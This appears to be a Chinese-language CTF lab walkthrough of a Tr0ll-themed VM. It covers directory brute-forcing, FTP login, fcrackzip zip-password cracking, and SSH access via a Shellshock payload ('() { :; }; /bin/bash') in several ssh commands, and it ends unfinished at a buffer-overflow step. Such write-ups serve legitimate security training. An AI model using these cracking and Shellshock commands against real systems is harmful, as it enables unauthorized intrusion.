找到了此次CTF目标计算机IP地址:192.168.86.174
21、22、80端口
直接访问
查看 源代码 图片下载 进行 查看
发现作者是Tr0ll 可能 是一个 有效的用户名
直接尝试/robots
目录
把这个文件robots.txt
下载下来 剔除反斜杠,使用dirb进行批量尝试,挖掘可用的目录
发现4个可用的目录
以此访问上述4个目录,并查看其网页源码
发现有用的信息
四个目录都是如此
下载下来 strings分析看一下
根据上面提示获得存在隐藏目录y0ur_self 尝试访问看看
都是base64的编码文件
下载下来然后使用base64解码,猜测可能是字典
进行21端口的–ftp登录
Tr0ll Tr0ll
这边我上图形化操作
将这个lmao.zip
这个文件下载下来康康
进行解压 发现 需要密码
直接暴力破解
这里 我们使用fcrackzip
它一款专门破解zip类型压缩文件密码的工具,工具小巧方便、破解速度快,能使用字典和指定字符集破解,适用于linux、mac osx 系统。
FCrackZip 是Free/Fast Zip Crack(免费,快速Zip密码破解)的意思。
但是需要安装
sudo apt-get install fcrackzip
然看帮助命令
root@localhost:~# fcrackzip -h
fcrackzip version 1.0, a fast/free zip password cracker
written by Marc Lehmann <pcg@goof.com> You can find more info on
http://www.goof.com/pcg/marc/
USAGE: fcrackzip
[-b|--brute-force] use brute force algorithm
[-D|--dictionary] use a dictionary
[-B|--benchmark] execute a small benchmark
[-c|--charset characterset] use characters from charset
[-h|--help] show this message
[--version] show the version of this program
[-V|--validate] sanity-check the algorithm
[-v|--verbose] be more verbose
[-p|--init-password string] use string as initial password/file
[-l|--length min-max] check password with length min to max
[-u|--use-unzip] use unzip to weed out wrong passwords
[-m|--method num] use method number "num" (see below)
[-2|--modulo r/m] only calculcate 1/m of the password
file... the zipfiles to crack
methods compiled in (* = default):
0: cpmask
1: zip1
*2: zip2, USE_MULT_TAB
部分重要参数说明
-c 指定字符集,字符集 格式只能为 -c 'aA1!:'
a 表示小写字母[a-z]
A 表示大写字母[A-Z]
1 表示阿拉伯数字[0-9]
! 感叹号表示特殊字符[!:$%&/()=?{
[]}+*~#]
: 表示包含冒号之后的字符(不能为二进制的空字符),例如 a1:$% 表示 字符集包含小写字母、数字、$字符和%百分号
fcrackzip -u -D -p a111.txt lmao.zip
进行解压
进行查看文件类型
确认这是SHA256私钥
用这个密码登录22端口试试
经过测试,最终通过下面3种形式登录成功
相关参考链接:https://unix.stackexchange.com/questions/157477/how-can-shellshock-be-exploited-over-ssh
ssh noob@192.168.5.141 -i noob -t "() { :; }; /bin/bash"
ssh -i noob noob@192.168.5.141 -t "() { :; }; /bin/bash"
ssh -i noob 192.168.5.141 -l noob -t "() { :; }; /bin/bash"
查看底层目录
find / -perm -4000 2>/dev/null
果然是缓冲区溢出的题目
我不会了 呜呜呜 先放一哈